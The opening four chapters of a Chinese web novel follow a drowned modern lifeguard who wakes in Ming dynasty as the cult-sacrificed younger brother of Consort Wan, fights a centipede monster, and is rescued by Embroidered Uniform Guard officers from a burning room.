《我到大明抓怪物》 1. 我在哪儿 《我到大明抓怪物》全本免费阅读 睁开眼睛就发现自己成了杀人凶手怎么破?在线等,挺急的! 沈瑢站在炽热的阳光底下,感觉大脑一片空白。 不,也不能说是一片空白,他耳朵里到现在还回响着一种疯狂的吟唱,其间又夹杂着古怪的铎铃声,每一声都震动着他的大脑,引发某种危险的共鸣。 随着这难以形容的震颤,他的脑海里涌出无数陌生而破碎的记忆,这些记忆无一例外夹杂着炎热与干旱,像一只只屁股上带火的蜜蜂,在他脑袋里钻来钻去,扎得神经生痛! 沈瑢想按住突突乱跳的太阳穴,但手一抬他才发现,自己紧攥着一根尺把长的木头锥子,尖端似乎被火烧过,炭化得格外坚硬,并且挂着一绺可疑的东西,看起来很像是人体组织。 而在他面前仆倒着一具尸体,脖子被切断了一半,脑袋歪歪地靠点皮肉连接着,在地上转了半圈,露出一张死不瞑目的脸,以及手中紧攥着的古旧铎铃。 沈瑢手一抖,木头锥子落在地上,竟然发出了金石撞击般的脆响,并且露出了他手心里被灼焦的痕迹。但他现在顾不上这些,满心只有一个念头——地上这个人是他杀的?是他用这根烫手的木头玩艺儿,切开了对方的脖子?这,这不可能吧! 明明几分钟之前,他还在海里救人呢! 当时,当时是怎么回事来着?他第一天参加义务海滩救援队,就有一家四口租的救生筏被浪掀翻了,两个成年人倒是反应及时抓住了筏子,但孩子却落了水。 船上的老救生员直接跳下水,沈瑢却慢了一步,所以等他抓住另一个孩子的时候,两人都被卷进了一股离岸的暗流,再之后他睁开眼睛,就已经站在了这里,有人在周围高声喊着:“观主被杀了!快镇妖孽!” 所以,他杀了人?这些人嘴里喊的妖孽,难道就是他吗? “黑狗血镇住妖孽了,快拿朱砂网来!”一个尖锐癫狂的叫声让沈瑢回过神来,才发现自己脸上头上都湿漉漉的,随手一抹,满手腥红,甚至嘴里都是腥咸的味道,顺着喉咙直到胃部。 他刚才是不是在不清醒的时候把这玩艺咽下去了! 沈瑢下意识地弯腰想吐,但吐不出来,因为他的胃整个都是空的,甚至空得发疼,仿佛饿了几天几夜,积攒下的胃液正在消化内脏一样,根本没什么可吐的。 一张暗红色的大网就在这时候罩在了他头上,每根网绳都有股让他无端厌恶的气味,而且碰在皮肤上便是一阵火灼般的痛楚,就像他刚才手里握着的那根木头一样。 沈瑢的身体比大脑更快地做出了反应——他抬手挥了一下,被朱砂水反复浸泡过的坚韧绳网从中间被撕成两半,而两个拉着网的道童也被摔了出去,倒在地上一时爬不起来。 这力气大得把沈瑢自己都吓了一跳。虽然极度饥饿,但他却感觉自己充满了力量,甚至是满到溢出,让他需要做点什么来发泄的程度! 而仆倒在眼前的尸身,就是发泄的结果。 沈瑢终于从无数碎片中捞到了一组属于原身的记忆,他下意识地抬头四顾,然后怒火中烧。 这是一处道观的后山,空地上用青石板铺出一个方方正正的小广场,中央则筑起一人多高的圆形祭坛——取天圆地方之意——上头密密麻麻插了一圈足有一米高的香柱,搞得是烟熏火燎,檀香气浓到呛人。 沈瑢所站的位置就在这广场上,脚下有一个金灿灿的太阳图案。哦,确切点说,围绕着祭坛四周,总共有九个太阳图案,乃是在石板上阴刻出线条,然后把黄金熔融了浇进去绘制而成的,在炽烈的阳光下亮得像个真正的太阳,能闪得人睁不开眼睛!而在这些黄金圈子里,各躺着一具瘦得脱形的尸体。 这些人跟他一样,都是未满十六岁的少年,因为仍是童子身而被选中,成为了“祭品”。 究竟在祭祀什么,原主并不知道,他只记得自己被绑在烈日之下,活生生暴晒致死的痛苦——饥饿与干渴,即使现在由沈瑢接管了这具身体,仍旧强烈如生! 而真正被这些道人看重的,是祭坛上的那个女孩,似乎还是他们按照什么生辰八字特意挑选的材料,据说祖上还曾做过官! 当然,即使是看重的珍贵材料,也仅仅是材料而已。这个女孩跟他们一样,都会被活活饿死晒死,只不过她的位置在高高的祭坛上,在林立的香柱之间罢了。 而主持这一切的,就是躺在他面前的那具尸体——此地的道观观主,人称白鹤真人,被本地民众视为善人神仙的家伙! 原身残存的最后那点意识让沈瑢对着地上的白鹤就来了一脚,等他反应过来的时候尸体已经被踹得飞出去了,却有个方方正正的小东西从白鹤袖口里掉出来,一路弹跳着恰好落在沈瑢脚下。 沈瑢听见有人惊呼了一声:“阳燧!”但他的眼睛发花,可能是躺在地上的时候被强烈的阳光晒了太久,视野里的一切都反着光,让他看不清楚那东西上的花纹,只觉得有些眼熟。他下意识地弯腰去捡,却忽然发现有点不对劲——白鹤真人明明半个脖颈都被切断,按理说一侧的颈动脉肯定也断了,应该血溅满地才是。但现在他触目所及竟没有多少血迹,血都到哪里去了? 这本应该是个很明显的问题,但因为白鹤身上原本就披了件赤红如血的道袍,铺开来一地鲜红,所以一时竟没有人注意。直到尸身被沈瑢踹飞老远,露出了仍旧干净的地面,才让沈瑢发现了破绽。 难道白鹤没有死?沈瑢悚然抬头,发现几米外的尸体竟真的在动!白鹤俯卧在地,脑袋却昂了起来,像蛇头一般左右晃动,脖颈处连带的那点皮肉硬生生被撕开,但后面连缀着的却不是脊椎骨,而是一截截的带着甲壳的身体,每一段都在左右两边生着触手状的足,看起来像一条只有半截的蜈蚣,令人头皮发麻。 此刻在祭坛周围的道童有十余人,大的有十八九岁,小的只有十岁左右。这都是白鹤的“入室弟子”,也就是从小养大,被洗脑得比较彻底的那些。刚才也正是他们,在白鹤被杀的情况下还想着镇压妖孽,为观主报仇呢。 虽然被沈瑢的怪力震慑,但这些道童仍旧围着他不肯退走,看见白鹤尸体动弹,还以为是坛主复活,有人甚至充满希望地想过去搀扶。但此时此刻,所有人都看傻了眼,直到人头蜈蚣拖着红红白白的粘液爬出来,众人才齐齐爆发出惊恐的嚎叫,拔腿逃跑——再怎么虔诚,这个东西也实在是超过人类的认知了。 然而他们没跑几步,就忽然都萎倒下去,齐唰唰地开始抓挠着胸口干呕。 这场面太像某个恐怖片,沈瑢顿时有了不妙的预感,情不自禁地向后退。就在他打算逃跑的时候,忽然听见祭坛上传来了轻微的□□声——那位前官家小姐居然还活着,并且睁开了眼睛。 不过眼前的情景绝对不会让她欣喜,因为那些倒在地上的道童身体也开始脱水般干瘪下去,从他们的嘴里——你简直都无法想像人的嘴怎么能张到那么大,又能吐出那样的东西! 道童们口中钻出来的是一截截的身体,带着甲壳,两侧生着触手,就跟白鹤道人身体里钻出来的那东西十分相似。而这一截截的身体也是活的,它们像是受到什么召唤似的向人头蜈蚣移动过去,并且像挂火车车厢一样把自己连缀到怪物的身后,组成了一条完整的“蜈蚣”——从最小的那个道童身体里爬出来的,是一截小尾巴,因为两侧的触手特别细小,很费了一点力气才排到队尾。 这景象无论任何人看到都会SAN值狂降,何况是刚刚被一片乱叫惊醒的人?祭坛上的少女刚刚勉强睁开眼睛,立刻就吓得叫了起来。 她嘶哑的喉咙刚刚才发出声音,地上组合完毕的人头蜈蚣就猛地扬起了头——那些触手的弹跳力惊人,几乎是一下子就蹿上了至少两米高的祭坛,对着少女张开了嘴。 人头蜈蚣的嘴角一直裂到耳根,几乎把脑袋撕成两半,露出来的不是人类的牙齿,而是一对尖锐的颚足,尖端闪着黑色的金属光泽,似乎一下子就能把人扎个透心凉! 金属相击的声音盖过了少女的失声尖叫,一根香插从旁边抡过来,硬生生把蜈蚣头打得跟后半截身体分离,又从祭坛边上摔了下去。 2. 我是谁 《我到大明抓怪物》全本免费阅读 沈瑢做了个很长的梦,长且混乱。 那些不知从何而来的记忆碎片包含着太多对于干旱和炎热的记忆,以及它们带来的灾害的恐惧与怨恨,浓烈到几乎让他迷失。就在这些情绪的冲击之中,有什么不属于人类的东西也从意识之海的最深处翻了起来——在那些沙砾般渺小的碎片中,他有六条腿,在树干或者悬崖上都行走自如,他能够看到气味形成的道路,举得起比自己都不知重了多少倍的东西…… 这非人的记忆与那些有关干旱的怨气纠缠在一起,形成了一种难以言喻的力量。是这种力量驱动着他的身体,在白鹤举起那木头锥子刺向他胸口的时候,挣断了捆绑的麻绳,反手夺过锥子,划过了白鹤的脖颈。 也是这种力量支撑着他与人头蜈蚣战斗,在援军赶到之前保住了他的命。 而在阳光消失之后,奇异的力量也像火焰熄灭一般消失了。但灰烬之中犹有火种,这火种沉入他的血脉之中,在那里蛰伏了下来。 混乱的记忆平静之后,属于沈瑢自己的意识重新上线——他紧抓着那个落水的孩子,竭力蹬动双腿想摆脱暗流。那一刻他是恐惧的,在暗流之中即使一个半大孩子也是无比沉重的负担,仿佛铅块一般拉着他往下沉,让他不可遏制地想到了死亡。 所以他是要死了吗?沈瑢在窒息中恐惧地想——第一天做救生员就要死了吗?就像他父亲一样? 沈瑢耳边好像又响起了母亲的声音。从小她就教他学游泳学潜水,学如何在水中生存和自救,但同时她又不喜欢他跟朋友一起去游泳,甚至反对他考上父亲家乡的大学,因为这里是海滨城市。 在沈瑢跟她提过自己想做义务救生员的时候,她反对得更加激烈,差点要求他退学重考,还是继父劝阻了她。也是继父告诉他,他的生父就是在海中救人的时候再也没能回来,而那时候他的母亲肚子里怀着他,就在快艇上眼睁睁看着自己的丈夫消失在茫茫大海之中…… 母亲最终让步了,只是要求他必须经过严格的上岗培训之后才可以做救生员。沈瑢虽然答应了,但其实并没有特别在意,因为父亲身亡并不是在海滩义务救援的时候出事,而是在一次旅游途中,有游客从快艇上掉了下去…… 那属于野外水域,情况复杂远非海水浴场之类的地方能比,所以沈瑢一边觉得自己能理解母亲的担忧,一边又觉得自己不会有事的。结果事实狠狠打了他的脸,他才第一天上岗,就出事了! 沈瑢拼命地蹬动双腿,向着光亮的方向游去——他不能死在这儿,那母亲得多崩溃? 新鲜空气冲入肺部,沈瑢猛地睁开了眼睛,大口喘息起来。他的太阳穴还在隐隐作痛,整个人只想躺着不动弹。但肚子在大唱空城计,搅得他根本躺不住——他要吃东西,不然就要饿死了! 屋子里没人,但床旁边很贴心地放了一张小几,上头搁了一小盅米汤。 米汤犹有温热,熬得厚厚的,简直都像是半凝固的了。一口下去,火烧火燎的口腔、食道和胃都得到了一点抚慰。 不比茶杯大多少的一盅,沈瑢几乎是几口就喝掉了,根本没觉得满足。但他也知道,对于饿了好几天的人来说,第一次进食不能就吃太多,更何况他这个身体其实还死过了…… 啊对了!他,他这个身体是谁来着?在昏倒之前,嘴好像自己回答了一句:宫里贵妃娘娘的弟弟,姓万? 就,难不成是他知道的那个万贵妃吗?所以这里是大明,成化年间? 沈瑢费劲地在脑海里翻了翻原身的记忆碎片,发现他想的都对:这里确实就是他所知道的那个大明,在位的正是成化帝朱见深;万贵妃也确是那个宫女上位的贵妃娘娘,唯一的问题就是——万贵妃哪来的一个弟弟叫万瑢啊?她不是只有万喜万通万达三个兄弟吗?什么万瑢是婢生子?那没事了。 等等,什么没事啊!万瑢已经死了,现在他是万瑢啊! 沈瑢只能苦逼地继续翻找原身的记忆,半天才拼凑了个大概——这还是因为万瑢只有十四岁,其实真正重要的记忆并不太多。 万瑢,是万贵妃最小的弟弟。万家在万贵妃进宫的时候已经败落了,不然也不会眼睁睁看着女儿去当宫女伺候人。只是万贵妃生而逢时,虽然跟着成化帝很吃了几年苦头,却也因祸得福,一跃成为宫中贵妃,其势甚至凌驾于皇后之上,无人可比。 一人得道,鸡犬升天,万家自然也跟着沾光,来了个咸鱼大翻身。不过万贵妃的母亲就比较命苦,没等到女儿飞上枝头就故去了,万贵也就成了鳏夫。 万贵妃得势,想着巴结他家的人自然数不胜数,想嫁女儿甚至是卖女儿的能踏平万家门槛。不过万贵倒是个比较谨慎的人,当然也可能是要照顾万贵妃和儿子们的心情,他不曾续娶,家里只有一个老妾主持家事,另外就是收了个婢女。 这婢女就是万瑢的生母了,据说是因广西大藤峡叛乱,从本地逃出来的瑶民后代——嗯,对,就跟著名的大太监汪直是一样的出身。 他们是一家子一同出逃,都卖身到了万家,也算是避了祸,有了栖身之地。这婢女虽是瑶女,但聪明伶俐,当然最重要的是她长得还很漂亮,于是先红袖添香,后来就珠胎暗结了。 万瑢出生的时候,万贵是很高兴的,老来得子嘛——看看他起的名字就知道了。前头万通万达万喜,包括宫里的贵妃万贞儿都是一个风格的,到了小儿子这里却起了个“瑢”字,据说是通“荣”,既想小儿子荣华富贵,又务求高雅一点。 但是这却让他前头几个儿子不满了——沈瑢也可以理解,这是又生了一个分家产的啊!而且前头几个哥哥都是从苦日子里走过来的,怎么轮到一个婢生子就口含金匙,生下来就能享福呢? 反正,除了万贵,大家都不怎么高兴就是了,以至于万贵本来想给这个婢女一个高一点的身份,都没敢立刻实施。 然而,在万瑢五岁的时候,这个婢女一家忽然失踪了,父母加上闺女,一家人整整齐齐,一夜间就跑得不见人影,只留下了万瑢。 这可是逃奴了!万瑢这个婢生子的身份一下子又往下掉了掉,并且在万贵心里也难免受到些影响,不那么“金贵”了。 这婢女一家最终也没能找回来,而万瑢却不尴不尬地长大了。六年前万贵去世,遗言不必将棺柩送回老家,就与原配妻子在京城附近择地入葬即可。但他一入土,万瑢就被几个兄长打发回了山东诸城老家——理由也很充分,老家毕竟是老家,总得有个人回去守孝,也让族里人知道这事儿,几个兄长身上都有差事,不好离京,那自然只有万瑢回去喽。 明眼人都看得出来,万瑢这一返乡,大概率是别再想回京城了,不过是几个兄长打发他的借口罢了。万瑢自己当然是有些不忿的,但他才八岁,还能反抗吗?万家派几个奴仆,就将他送上马车,一路“服侍”回老家结庐守墓去了。 三年孝守完,万瑢果然没能再回京城,反而是长兄让人分了老家的田地给他,让他“守着根基”,“好生读书”。 在这种情况下,万瑢能读进书去就怪了,但他又没反抗的能力,只好寄希望于鬼神,在附近的紫芝观里给自己和生母都供奉了香烛,以求转运——对的,就是这帮装神弄鬼的道士所在的道观! 说起来紫芝观在本地的名气还不小,日常也是施医舍药,尤其是那观主白鹤真人,很有点儿手到病除的名声,来往香客络绎不绝,求什么的都有,似万瑢这般在观内供奉牌位的也很不少,因为香油钱给得多,更受欢迎。 所以,万瑢被知客道人请去喝茶的时候半点防备之心都没有,然后一杯茶下去人就倒了,醒来之后已经在地牢里了。 地牢里的九个少年中,有一半人跟他一样,不是自己常出入道观,就是父母是虔诚香客;另外一半则是被人贩子卖过来的。至于那位放在祭坛上的姑娘,也是因为母亲多病,所以常来跪香求药。 合着紫芝观这是狠狠薅了一把窝边草啊!他们想干啥啊? 沈瑢没想明白。实在是原身的记忆太破碎了——这也怪不得万瑢,一 3. 锦衣卫的任务 《我到大明抓怪物》全本免费阅读 董长青观察了一下两张符咒,确定它们尽忠职守地在燃烧,这才退下台阶,一转身就看见谢骊倚墙而立,一手搭着腰间的绣春刀,双目微阖,仿佛在养神似的。 白日里那场急雨带来的短暂爽意已经消失,即使已然是深夜,院子里也似个蒸笼一般闷热。董长青不得不扯起衣摆扇了扇风,同时有些羡慕地看了一眼自己顶头上司。 谢骊脸上一滴汗珠都不见,仿佛这不是酷暑,而是什么温凉宜人的仲春初秋似的,甚至眼皮都不抬,只微微挑了挑眉毛:“人醒了?” “总算醒了。”董长青看了看烧起来的屋子,“大人,这小子真的妖化了?怎么看着都不像,就一个半大孩子,还是娇生惯养的,他熬得过妖化?” 谢骊淡淡道:“娇生惯养的半大孩子?你不是没看过那妖人的祭坛,四把铜插都钉入石缝中足有三寸,可是个娇生惯养的公子哥儿应有的力气?何况他若没几分本事,怕是饿都饿到动不得,岂能逃得过那妖物毒手?” 紫芝观这祭坛是精心筑造的,石头都打磨得平整规矩,石缝里浇铸的是用糯米汁调合的黄泥,虽然比不上《天工开物》里记载的那种“永不隳坏”的三合土,但也十分坚硬,能硬生生钉入三寸深,已是远超常人。 不过这力量跟董长青比起来倒也算不得什么,难免就有几分轻忽。再者他过来的时候人头蜈蚣已经被谢骊一箭击杀,所以他的印象就更没那么深刻了。 当然,也是万家那小子生得实在是——在祭坛的时候满脸血糊滋拉的看不出个模样,等拖回来擦了把脸才发现,虽是有些憔悴,也不掩眉眼的秀致,跟京里万家兄弟们没半分相似,甚至比宫里的娘娘都俊俏多了。 且少年人,身条都还没长开,腰细得仿佛一只手就能握过来,董长青比比自己的粗胳膊,也实在是没法把万家那小子跟“妖化”这个词儿联系起来。 不过他这话才说一半,谢骊就真的有点生气了:“胡闹!以貌取人?那我怕你不知要死多少回!妖化之人,难道还分男女老幼不成?你若是这般托大,我看你是真该去皇觉寺好好念几卷经了!待回了京——” 没等他说完,董长青就直接滑跪了:“别别,老大,我就是说说,就是说说。”皇觉寺那地方,每日吃斋念佛,三天嘴里就能淡出鸟来,他是打死也不想去! 谢骊其实也就是吓吓他。董长青平日做起事来也是可靠的,只是这张嘴却时不时的就得给他压一压,免得说得多了真的飘了起来,有朝一日必吃大亏。这妖化多种多样,既有董长青这般高大,一眼便知孔武有力的;自也有外头不显,却暗地里多了些古怪的。若只看外头,怕不知要被阴死几回!便是锦衣卫自身与众不同,也未必抵得过。 董长青窥着他神色略和缓些,才陪笑道:“我就是担心,这小子毕竟姓万……”虽则是个不受宠的婢生子,但人死了却金贵起来这种事儿,锦衣卫可见多了,难保京里那几位不借机生事,“万通万达那两个,可是想往咱们北镇抚司伸手许久了……” 谢骊冷笑了一声。万通万达的心思他岂不知?但想要伸手,也不看看自己有没有那份本事。真当北镇抚司是捞钱的地方了? “万小公子失踪数日,本家与官府竟不知他陷在紫芝观,实为荒唐。”谢骊垂着眼,说的话慢条斯理,却在这午夜时分透出一股子冰冷来,“本官数次催促人口走失一案,他们竟连这等大事都不上报,以至万小公子冤死于淫祀之中,殊为可惜。” 董长青嘿地一声笑了出来:“大人说的是。如今咱们锦衣卫在外头说话越发的不算数了,不但比不得东厂西厂,便是这各地的官员和镇守太监,也是拿咱们不放在眼里——若不是他们推三阻四,或许咱们早就查到这紫芝观,就能救下万小公子了呢?” 他这话虽是笑着说,却也带了几分怨气,因谢骊所说的,正是此次他们锦衣卫来山东办案的事实。 谢骊一行六人,原是在河南查白莲教余党一案的,但一路追查到山东境内,便发现此地近几年人贩子颇为猖獗。 本朝与前朝一般,也是允许人口买卖的,多的是穷到没饭吃的人家卖儿鬻女,都不为罕事。只是有些人贪心不足,连买人的本钱都不想出,就干脆干起了拐带偷窃的行当,其中尤以拐卖美貌女童男童为甚,拐了来稍加调教,就能卖进那风月场中,可比卖去人家做普通奴仆赚得多。 有利可图的事,便有人黑了良心去做。且这几年各地的烟花场所都愈加繁盛,人贩子也就越来越嚣张了。 谢骊一到此地,就向当地官员提出,要他们打击略卖人,也就是人贩子——有的人贩子竟然已经嚣张到直接在乡村之中掳走他们看好的少年少女了!就在他们借宿的村子里,就有一个寡妇因唯一的儿子大白天失踪,哭求无门而上吊自尽了。 然而话虽说了,官员们却多是敷衍。毕竟被掳走的不过是些农家孩童,却要他们费心费力……且敢做那等买卖的地方,背后都有靠山,小官小吏惹不起,大官自己或许就是“靠山”,还指望什么呢? 对此,董长青是一肚子忿忿。须知本朝开国初期,可是锦衣卫一家独大,虽然后头被洪武皇帝撤了一回,但到了永乐年间又再次起用,那叫一个威风。只是好景不长,后头先立了东厂,锦衣卫就受到了一些限制,到了今上,又宠幸太监汪直,再立了西厂。 这西厂比之东厂还要气焰滔天,有这两厂压着,倒真让他们锦衣卫出不了头了。 且因东西厂公都是宦官,宫里的内监势力愈发兴旺,连带着各地的镇守太监也都得意张狂起来。据董长青所知,山东这边的烟花之地,此地的镇守太监就插了一脚在内。上行下效,可想而知。风气如此,便有些略正直的官员夹在其中,也不大敢管这些事,毕竟这位镇守太监跟宫里头当红的梁芳太监颇有些渊源,谁又敢轻易得罪他呢? 从地方镇守太监到宫里头的梁芳,这再追根溯源下去可就不好说了,谁不知道梁芳是得谁的宠呢?所以董长青也只敢拿东厂西厂撒撒气罢了。 谢骊心知肚明,由着他说了半晌,才淡淡道:“这回却容不得他们推搪了,牵扯上白莲教的妖人,我少不得在文书里禀明皇爷,且看皇爷如何发落罢。” 其实知道那道观里是白莲教妖人之后,当地的官员早就吓破了胆,这会儿大半夜的没人睡觉,所有的衙役都已经派出去清查人口,抓人贩子去了。 谁不知道,如今坐在皇位上的那位皇爷于政事并不怎么用心,别说他们这些地方官员政绩好些差些他不关心,便是皇宫里头的那些内侍们做些出格的事,皇爷都不甚在意——听说去年,皇爷发现宫里头几朝累积下来的七窖金子都被那梁芳、韦兴两个太监用光了,也只是斥责了两人几句,未曾重罚。 有这样的皇帝,底下人疏懒些也无妨,要不然也不能有纸糊三阁老,泥塑六尚书的说法。只消打点好上官,考评里头不得恶评也就是了。可这白莲教不同,成化十二年那白莲妖人李子龙化形入大内行刺,之后又假死遁逃,在京城里甚至闹出妖狐夜行的诡异之事,一时人心惶惶,更惹得皇爷大怒,这才有了汪直借势上位,建起西厂。 这等谋逆的大罪,谁敢有半分牵扯?那之后各地大举搜捕白莲教徒,好几年才渐渐平息了些,若是这会儿又让皇爷想起来,那牵连上的人必会倒霉——皇爷性情再宽和,这等干系自己性命的大事,那是断不会轻轻放过的。 董长青在谢骊面前总是嘴上没什么把门的,也知道话说给谢骊听并不怕往外泄露半分,因此幸灾乐祸叭叭起来就没个完:“也辛苦他们了——若是知晓万家小子出了事,又不知要慌成什么样子了。” 谢骊听着他说话,并不言语。这些官员若肯下力,想必几日之内便有成果,只不过再有成果,他回京之后的奏折也还是该写什么写什么,若是有人想着抱这几日佛脚就遮掩过去,那却是休想。 尤其是那自称梁芳干儿子的镇守太监,听说每逢皇爷寿诞,还要来紫芝观为皇爷祈福——寻一群白莲教妖人做法事,谁知道用意何在?便是这镇守太监本意乃是祈福,焉知妖人不借机生事,对皇爷不利? 这些话只要入了皇爷的心,就是梁芳的亲儿子也保不住,更不必说此地的这些尸位素餐的官员了。 谢骊在心里已轻描淡写地给这些人定了罪,此刻再看这些人上蹿下跳地折腾,不过像看猪羊在被宰杀之前再多吃几口饲料罢了。只他素来话少,便是在左膀右臂面前亦不多言,只抬眼又看了一眼屋子,微微皱眉——此刻屋中都无动静,火都开始烧进门窗去了,倒也沉得住 4. 救命的旨意 《我到大明抓怪物》全本免费阅读 知晓危险性,沈瑢在董长青心中的形象立时就发生了天翻地覆的变化,包括此刻屋子里的动静:“这小子至今也未曾有什么反应,果然冷静!” 屋子里的沈瑢其实半点都不冷静,他现在慌得一批! 紫芝观香火鼎盛,但白鹤总是喊着什么神仙只为救世,非求华宇金身的口号,那观里的神像都是泥塑涂彩的,道观的屋宇也建得朴素,处处摆出一副不慕荣华的脱俗模样。 譬如这客舍吧,就是竹木所造,看起来倒是清雅,可烧起来却也痛快得很。尤其近来此地久旱,那木头都干得透透的,火一点起来就烧上了房梁,沈瑢都听见头顶吱吱作响,房顶马上就要塌了! 他也想干脆从门口冲出去,可是门窗处火舌滚滚,人还没到跟前,脸面已经感觉到了那能把人烤熟的热量,隔着几步都被灼得生疼——这,这火是一扇门板能烧出来的? 而且不知怎么的,这灼热让他不由得又想起被绑在祭坛上,被太阳炙烤时的痛苦。 何其相似!这种要被烤干灼焦,活生生死去的感觉正在慢慢地加热他的血液,像炉子上烧的水,开始有小小的气泡从底下浮上来,水面微微波动,仿佛底下藏着什么生物,呼之欲出。 刚才那个放火的绝非常人!这火也绝对不正常! 杀人灭口?不,应该是完成祭祀! 沈瑢不知道白鹤的祭祀究竟在搞什么鬼,但祭祀是有成果的,因为他们成功地把一个未来的灵魂给召了过来。但在其他人眼里显然不是这样——九个祭品只死了八个,还有一个没“献出去”呢! 那么,假如杀掉最后一个祭品,仪式就应该算是完成了吧? 假如祭祀真的完成,又会发生什么? 沈瑢不由自主地想起了在祭坛旁边那些一边张大嘴拼命呕吐,一边身体像撒气的球一样瘪下去的道童们,也想起了自己那不知从何而来的超常力量与反应。他不知道原身的身体里究竟潜伏进了什么东西,但他有一种危险的预感,似乎这东西一旦被唤醒,一切就将滑向不可控制。 这种预感可能来自于人类还不在食物链最顶层的时候,在被捕猎的危机中磨练出来的直觉。虽然这种直觉在现代人身上已经少得可怜,但此时此刻,也许是特殊环境的刺激,让沈瑢重新听到了这已经极其微弱的呐喊:不要唤醒!不要唤醒!不要唤醒! 屋外的董长青一句话还没有落音,就听见屋子里发出了撕心裂肺的喊叫声:“救命,救命啊!着火了!救火啊!救命啊!” 董长青嘴角不由自主地抽了一下,感觉脸上有点发热:“大人,这……”他刚夸完对方冷静,就这?不由自主地,董长青再次开始怀疑,这小子真的妖化了? “不必着急。”谢骊眼皮子都没抬一下,“且烧上了再说。”人都还没烧着,还能活蹦乱跳地喊叫,算什么试炼呢? 董长青嘴角再次抽了一下,闭上了嘴。得了,老大主意都定了,里头那位且自求多福吧。 他正寻思着,忽然间从外头直跑进个人来,身穿丹黄曳撒,正是随着谢骊出来办差的几名手下之一,姓于名志,原是该在外头审人的。 “你怎来了?”董长青正闲着这张嘴,“可是审出了什么?”要不然于志不会这么着急忙慌的模样。 于志却不敢似董长青这般随便——谢骊官职虽仅是百户,在北镇抚司内却是极有名气,一则他是如今的锦衣卫指挥使袁彬的义子,二则便是他办案利落。 这办案利落却有两重含意:一重便是能干,交到他手上的案子皆有交待,纵不说件件水落石出,却也有头有尾;二重便是手段狠辣了,此事外人或许不太知晓,但跟着他办事的人又怎会看不出来? 于志已随着谢骊办过两次案,略窥见过谢骊的一些手段,哪里敢轻忽?他又不是董长青,乃是谢骊的心腹,说话行事自是可以随意些,当下先向谢骊拱手行礼,方道:“诸城知县跟万家人一起来了,说是他家公子大约在观中,来接人的。” 他一边说,一边不由自主地看向后头正在燃烧的屋舍,听着里头的喊叫声,嘴角有点抽搐。 谢骊眉毛都不动一下,淡淡道:“且叫他们等着罢。” 董长青嘿笑着补充了一句:“一会儿看看是接人还是抬尸。” 于志心里一跳,忙低声道:“可是——京中来了消息,贵妃召万家小公子入京,选拔太子伴读。” 董长青差点跳起来:“太子伴读?就万家这小子?他也配?他读过几天书呢?贵妃是不是——” “慎言!”谢骊低声喝断了他。 谁不知道万家是个什么德性呢?合家上下,说不定也就宫里的贵妃娘娘识字最多,毕竟她曾经陪着今上在冷宫里住了将近十年,长日无事总免不了以诗书打发时间,今上的画技就是在冷宫中练出来的,而万贵妃也跟着识了不少字。 至于万家其他人,已死的万贵就不提了,单说万家三兄弟都是不爱读书的,至于这个万家小儿子,在老家闲掷六年时光,正经先生都不曾请一个,想也知道跟几个兄长不遑多让。 这么个人,让他去给太子做伴读?数遍京中官员家的儿孙,再往国子监里点选穷人家考上来的子弟,怕也轮不到他! 然而他却偏偏是贵妃的弟弟。别看于志说是“选拔”,但谢骊明白得很,京里能来这个消息,八成就是贵妃已经在皇爷面前开了口,这个伴读,怕是已经内定,只等把人接过去了。 谢骊面色阴沉,抬眼瞥了一下已经燃起一半的房舍,霎那间真想直接再加一把火,但既在皇爷那里挂了号,这件事又不同之前了,到时候皇爷问起来,他倒罢了,只怕义父那里受连累。 何况烧到此刻也不见动静,或许真是他多心了,那祭祀其实并未成功?若是如此,万家小子纵得了几分妖力,也是有限的,或许只用得那一时,过后也便散尽了…… 他正有些迟疑之时,却听哗啦一声大响,却是那客舍的屋顶支撑不住,半边都塌了下来,仿佛一个火罩,将底下死死罩住了。 这下谢骊都微微变了脸色,一个箭步冲了上去——里头的人若是被这塌掉的屋顶压住了,若是个普通人,那这一下子可就真没法向皇爷交待了…… 屋子里头的沈瑢很幸运地没有被塌下来的房顶压住,但已经被火焰完全包围了。 其实这屋顶用的都是木条,并非整棵树木刨出的大梁,按说烧了这一会儿已经快该烧完了,甚至沈瑢都能看见那屋顶一塌下来就四分五裂,木条都要烧成炭了! 可明明没有什么可燃物了,这火焰却仍旧烧得半天高,宛如气势汹汹的火龙,兜头兜脸地扑了过来。 沈瑢下意识地双臂遮脸,弯腰低头。这一刻人类对于火焰的恐惧太过强烈,压倒了他内心那点理智的警告——天平向着另一边倾斜,一种奇异的欢喜和渴望从恐惧深处探出头来,像蛛网一般沿着他的血脉伸展,眼看就要…… 火焰并没有烧到沈瑢身上,已经扑过来的火舌触到他的衣襟,将那里燎焦一片,之后便如泥牛入海,销声匿迹了。 不过沈瑢并没有意识到这一点,他还在紧闭双眼准备忍受火灼的痛苦之时,忽然间轰地一声巨响,紧接着挡在他面前的火墙被一道劲风劈开,一个人影出现在火光之中,卓然而立。 沈瑢有些茫然地抬头睁眼,黑夜之中火光赤红如霞如海,而那个人影就如分海的摩西,劈云的天使,立于火焰之中,正向他投来关怀的目光。红色的火焰照亮了那件绿色的官服——那种普通人穿上会像棵发蔫小油菜的青绿色,穿在他身上硬是衬得他松苍竹翠,革带一勒更显腰细腿长;还有一截雪白的中衣衣领自颈间露出来。就那么一抹白,就让沈瑢脑子里冒出了不知在哪里读过的诗句:积石如玉,列松如翠,郎艳独绝,世无其二…… 不是,这就是那个在祭坛上救了他的谢百户?这,这是不是有点长得太好看了? 这一瞬间,沈瑢短暂地忘记了自己的处境,满脑子都只有一个念头:要是他长这样儿该多好啊! 不过下一瞬间,沈瑢的心情就变了——这位天神下凡般的帅哥,直接把他提起来挟在胳膊底下,冲出了着火的屋子。 尽管客舍在背后发出彻底坍塌的巨响,但沈瑢全然无心去管,更忘记了自己是死里逃生,他脑子里又只剩下了一个念头:他被人挟在胳膊底下,挟在胳膊底下! 万瑢这个身体究竟是怎么长的,怎么十四了还跟个土豆萝卜似的,竟然被人这么挟来提去的,好像还趁手得很? 是可忍孰不可忍? 沈瑢不由得挣扎起来,张嘴想说话。但下一刻他就被灌了一嘴烟,剧烈地咳嗽起来。这烟也格外地呛人,他只才吸了一口,就像顺着五官七窍直钻进了五脏六腑似的,咳得他胃都要翻上来。 偏偏就在此时,有人哭着嚎着冲了过来,还没等沈瑢被放下,就一把抱住了他,在他耳朵边上放声号啕:“我的哥儿,我的小爷,怎的就这样了!” 